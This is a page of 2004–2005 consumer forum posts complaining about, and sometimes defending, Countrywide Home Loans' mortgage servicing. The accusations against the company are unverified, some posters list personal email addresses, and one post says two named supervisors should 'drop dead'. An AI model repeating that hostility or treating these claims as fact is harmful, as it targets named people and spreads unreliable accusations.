I am an attorney in the Real Estate Industry and am a very informed about the industry. Countrywide has terrible customer service. I don't have escrows set up with them. I paid my insurance bill, but so did they (after I already paid it). I had to point this out to them, and they told me it was my responsibility to get the funds back from Erie, which I did, and refund to them the $900. I make my payments online using their website. Their online payment form has a place to make additional escrow payments, so I added the $900 to my monthly payment and specified in their form it was for escrows (since my account was now showing a -$900 escrow balance). When the payment posted they credited it as additional principal and sent me a letter saying my payment was going up $75 a month to make up for the escrow shortage despite the fact they already had the money. After several calls and emails to them, I finally got the $900 credited towards the escrows. However, they did not reduce my monthly payment back down to what it was. I am still fighting them on this, their customer service reps are incapable of comprehending what happened. It also doesn't help that they do not have any customer service hours on weekends or late evenings when I am actually home, so I have deal with this during the work day when I have little time.


Left: August 05, 2005 By: Michael In: Palmdale, CA

I am a former employee of Countrywide, sorry but I have to laugh at all of these stories, yes COuntrywide has it's problems, just like all the other lenders out there, but most of the problems being stated here are mostly due to homeowner error not lender error, there are alot of laws that Countrywide has to follow, so if you think they can just wipe your credit score clean, or take fees off, that's where you are wrong, it's sad to see ignorant people cause concern for others who know what there doing by trying to bring a company down, it is not right and people need to take responsibility for themselves instead of trying to get through life easier and blaming all their problems on somebody else, when you have a problem in life you must look at yourself first to see what you did to cause it, then correct it, not put full blame on another. In other words pay attention to yourself and see your wrongs before you give a bad rep on a company who tries hard to serve MILLIONS of customers and make sure there is no problems.


Left: July 26, 2005 By: In:

I'm going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin' Visa's go delinquent. Visa isn't going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole' GW has made that next to impossible for the average American. You're better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the "I want it now!" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I'm a former CW employee who feels an obligation to help those who have been taken advantage of.

Michael


Left: June 15, 2005 By: M. Arnold In: Baltimore, Maryland

Countrywide Home Loans and Fullspectrum are both rip-off companies. I have been a customer of Countrywide for over 8 years now. They have cost me more money in fees them probably my original first mortgage was for. I have had to refinance several times over the years and the closing cost that they charged were TERRIBLE. Unfortunately, my financial situation has never allowed me to get away from them. COUNTRYWIDE knows that the value of my home has tripled and they would like to have the house. They are thieves. They have reported me late on my mortgage 9 times that was not true. I have contacted by phone, written letter and files complaints, but nothing has ever been done about this false information. I HAVE BEEN CHEATED OUT OF TENS OF THOUSANDS OF DOLLARS FROM COUNTRYWIDE AND I WOULD LIKE TO SEE THEM PAY FOR WHAT THEY DO TO THEIR CUSTOMERS. Oh, by the way, they tried to foreclose on my property also; I had to refinance to stop it. With them naturally, which cost another 10 thousand. And they had me sign for an ARM rate, when I was with a fixed rate.


Left: May 01, 2005 By: Lynn In: Ellicott City

I ,too ,have my mortgage with Countrywide and after reading these complaints, I am a bit concerned. All of my mortgage payments are paid directly through my bank. I never paid close attention but thanks to you, I will take a closer look. Also, these same things have happened to others with other mortgage companies. Has anyone contacted the States Attorney's Office or at least sent these cumulative complaints to the local leadership? Thanks again, Lynn


Left: April 28, 2005 By: Lynn In: Forestville

I had so many problems with Countrywide Home Loans. They are thieves. When I received my end of the year tax statement for 2004, it was $4,000 short of interest payment that I paid to countrywide. I have my payment history from them which shows that they owe my $4,000 in interest. I sent them an email, I have a confirmation from them saying that it would take three business day for them to look it to my request. Well three business day have come and gone and I still have not heard from Countrywide Home Loans. I refinanced my home and after I went to settlement with a another company, Countrywide called me on my job and spoke to me as if their company was being operated by the mob. Asking me who did I refinance with and when did I go to settlement? The lady from Countrywide spoke so harsh and was very demanding. I explained to Countrywide that they sent the company I refinanced with a payoff statement, and they added additional fees that I knew nothing about. I stated to the lady from Countrywide that your company has all the information, so I suggest you check your company's records. The lady from Countrywide was so hostle, I felt threaten by her, she had such a nasty attitude and spoke so harsh, so unprofessional. Countrywide had no reason to call me at work, I was no longer a Countrywide customer. I would appreciate it if Countrywide would send me a correct year end tax statement for 2004. But I see that I am not the only one that Countrywide has stolen money from.


Left: April 22, 2005 By: Vic Tim In: Stevensville, MD

Despite the battle scars left from dealing with Countrywide as my mortgage lender, I feel somewhat better knowing I am not the only victim of the ignorance, manipulation, and lies displayed by employees of this company. My story parallels so many of the other's posted on this sight, it makes me question how this company has the ability to remain in business as it lacks any form of customer service and their behavior is almost threatening in nature. They harrassed me with endless phone calls at work, at home, and even on my cell phone. They used scare tactics in their communication with me, lied about things my title company said or had done, and even told me if I hung up with them on the phone, my house was going to go into immediate foreclosure. This was justt six days from when I was to close on my house, with a ratified contract in front of them. But the icing on the cake was when the day after I had sold my house and my relationship with them had FINALLY come to a close, I recieved one more harassing phone call wanting to know where their money was and to inform me that my house was going into foreclosure. In disbelief that I was even getting yet another phonecall, with every ounce of patience I had left with these people, I told them I closed on the house the day before. The woman's response was "did ya?" Now how professional was that response? So I said "Yeah, I did". I will never deal with or recommend Countrywide to anyone. They lack professionalism and the ability to look outside of the box in order to help both parties reach the same goal - paying off an outstanding loan. They tack on fees without prior communication or verification or explanation which makes me question the legality and accuracy of these amounts and allotments. There are so many other mortgage lenders out there who treat their clients with respect and professionalism and those are the ones who will be successful and will get my business in the future.


Left: April 02, 2005 By: In:

oh and for the person who worked for countrywide or whatever, you would be complaining to if you were losing your house or being taken advantage of by an evil company.


Left: April 02, 2005 By: Charlie Murphy In: Los Angeles

I have not had any loans or dealt with countrywide. But I would not deal with this company just based on their all-pervasive single commercial that I could swear I have seen at least 100 times in 2 months. I hate it! Moreover, if they are going to advertise on every channel 500 times a day(I have a satellite), at least come up with some different commercials. Crap on countrywide.


Left: February 28, 2005 By: In:

Below is a copy of an email sent to the owner aka whiner of this website on Feb 27, 2005 7:54 PM, CST



Hello,



Countrywide is voted the best of the best places to work. Countrywide is also the number one servicer and lender. Countrywide makes dreams come true to those that work hard and understand what it is to be financially responsible.



No matter how many web sites you put up, no mattter how much you whine, you will get no where. Countrywide continues to be number one and you will not be able to do nothing about it. Individuals like you never prosper!



Loving Countrywide,

Anomyous Like yourself.



P.S. If you really supported this site you would not hide from who you really are. At least state your name coward!




Left: February 25, 2005 By: TONI L. In: BALTIMORE

WELL i'M GLAD i CAME TO THIS SITE!!!!CURRENTLY, COUNTRYWIDE IS IN FORECLOSURE PROCEEDINGS WITH OUR HOME AND YOUR TESTIMONIALS HAVE LED ME TO BELIEVE YHAT MAYBE IT WAS'NT OUR FAULT AFTER ALL. WE GOT MAYBE 3 MONTHS BEHIND ON OUR MORTGAGE AND WERE GOING TO FILE BANKRUPTCY TO SAVE OUR HOME. COUNTRYWIDE SAID THEY COULD OFFER AN ALTERNITIVE SOLUTION THAT WOULD BENEFIT US BOTH AND COME UP WITH OUR ARREARS. WELL COUNTRYWIDE WAS KIND ENOUGH TO OFFER US THE FOLLOWING "DEAL". ON THE FIRST OF THE MONTH OUR REGULAR MORTGAGE WAS DUE AS USUAL, THEN WE HAD TO GIVE THEM 1,200.OO BY THE 15TH OF THE SAME MONTH. WE ARE NOT RICH AND I DONT KNOW ABOUT YA'LL BUT I DONT THINK A REPAYMENT PLAN THAT IS HIGHER THAN YOUR MORTGAGE IS VERY FAIR AT ALL. SO NOW WE ARE SMACK DAB IN THE MIDDLE OF LOSS MITIGATION TRYING TO SAVE OUR HOME FROM FORECLOSURE. HATE COUNTRYWIDE BUT LOVE OUR HOME , SO WE WILL HAVE TO CONTINUE TO DEAL WITH THEM ,UNFORTUNATLY!!!!


Left: February 23, 2005 By: JOSEPH BUSH In: LANDOVER HILLS

DO NOT DEAL WITH THIS COMPANY, OR YOU WILL BE SORRY!!!!!


Left: February 15, 2005 By: Laurie Muldoon-Velez In: Westminster, MD

I am a Countrywide customer (not by choice, my loan was sold three times in two years since refinancing) We have a great rate, but now my husband has been laid off and we were interested in just paying the escrow and interest on our 15-Yr loan. The amount we were told was just short of the full amount. My hasband asked to speak with a manager and was told no, that he wouldn't be transfered. This was after a 20min wait. Customer service does not exist with these people. Is it not true that you can pay just escrow and interest each month?


Left: January 03, 2005 By: Arpan Jain In: Columbia, Maryland

I just got transferred from quicken loans.

Quicken loan says my home insurance coverage is enough.

Countrywide is saying my home insurance coverage is not enough. Without even contacting me they
have ordered new insurance.
This company is a big fraud company.
Please advice me how to stop this transfer.

Thanks --- arpan@hotmail.com


Left: December 11, 2004 By: Tim Impallaria In: Bel Air

YOUR CHECK IS IN THE MAIL.
In April of 2003, my house was damaged by a drunk driver. The insurance company cut a two party check to me and Countrywide. I was told the check would be placed in an interest bearing account. The check was large, and I was told that upon completion of work the interest would be return to me.In Sept. 2004 all work was complete and I called to check on the interest. I was told the figure was being calculated and my check would be in the mail. I called the same person each time, end of Sept. Oct 2X, Nov several time, Dec several times, and Jan 2004(CHECK IS IN THE MAIL). I called and asked for a supervisor and told her of the problems with her employee. Not returning phone calls and giving the Post Office Office a bad name (Check in the Mail).The supervisor said she would get to the bottom of the problem. Within a half hour I get a call, not from the supervisor, but the employee who could never call back.She was very terse and to the fact that she found an area in the contract that it was up to Countrywide if they wanted to return the money. She took great joy to tell me, the person that I just complained to her supervisor, that Countrywide decide that they did not have to give me the interest. This was the same lady that had me looking in my mailbox for my check. My wife and child were almost killed in the accidend and Countrywide benefits from my families pain. I even asked them to put it on my mortgage, but it was Countrywide's money now. And guess what the supervisor that I called refused to ever call me back.


Left: October 19, 2004 By: Michele Daniels In: Owings Mills

I am a current customer of Countrywide Home loans and have been a customer for 5 1/2 years. I recently had a bad accident which caused me to be temporarily disabled. I sent a letter to Countrywide advising as well as returned someone's call that had called from collections. The person never called back. They are not good at calling back but are good at calling to harass you. I sent a history of my payments to them and as of today, almost $13,000 has been sent to them. The year isn't even over and I have sent almost a years worth of payments to them.

For the past 4 weeks, they have been trying to locate my payments. I have talked to several different people and have been waiting for several people to return my call. I even sent a letter to the CEO and still have not been able to resolve the issue. With all of this being said, they are trying to foreclose on my house. I have sold my house and am going to settlement soon. They are telling me that I have to settle sooner or they will proceed with foreclosure.

I can't believe that after all of these years of being a loyal customer, they are not trying to work with me. There's a lot more to the story and I have a lot of documentation that has been sent to the Better Business Bureau and the Attorney General's Office Banking Commission.

Sample of one letter sent:

"Per our conversation, I am sending a printed copy of the payment history to Countrywide that we discussed. Per my conversation with Ann last night, she confirmed receipt of all of these four payments in the amount of $800. She confirmed at all four payments were received on: 6/21, 6/24, 6/30 & 7/1. As you can see from my online backing, the payments history confirms payment, the delivery date and the confirmation #."

When I think everything is OK, I later get a different story and become more stressed. They pretend to be trying to work with me but really aren't. I have two daughters who have even wrote the president of the company. At this point, I DO NOT trust Countrywide Home Loan.


Left: October 06, 2004 By: LB In: Baltimore

I worked in the Cockeysville, Maryland office for almost three years and was laid off last year due to the fact that I didn't conform to what my supervisors wanted me to do. I have never worked for a company quite like Countrywide before and I can't wait for the day that Debbie Keyes and Loretta Doty drop dead! They made you feel like a piece of crap all the time and always seemed to put you in a set up to lose situation. They loved to make people cry and use their authority to do and say whatever they wanted. They are the two most evil women I have ever encountered in my life. Take my advise - NEVER work for or get a loan thru Countrywide - you will regret it.

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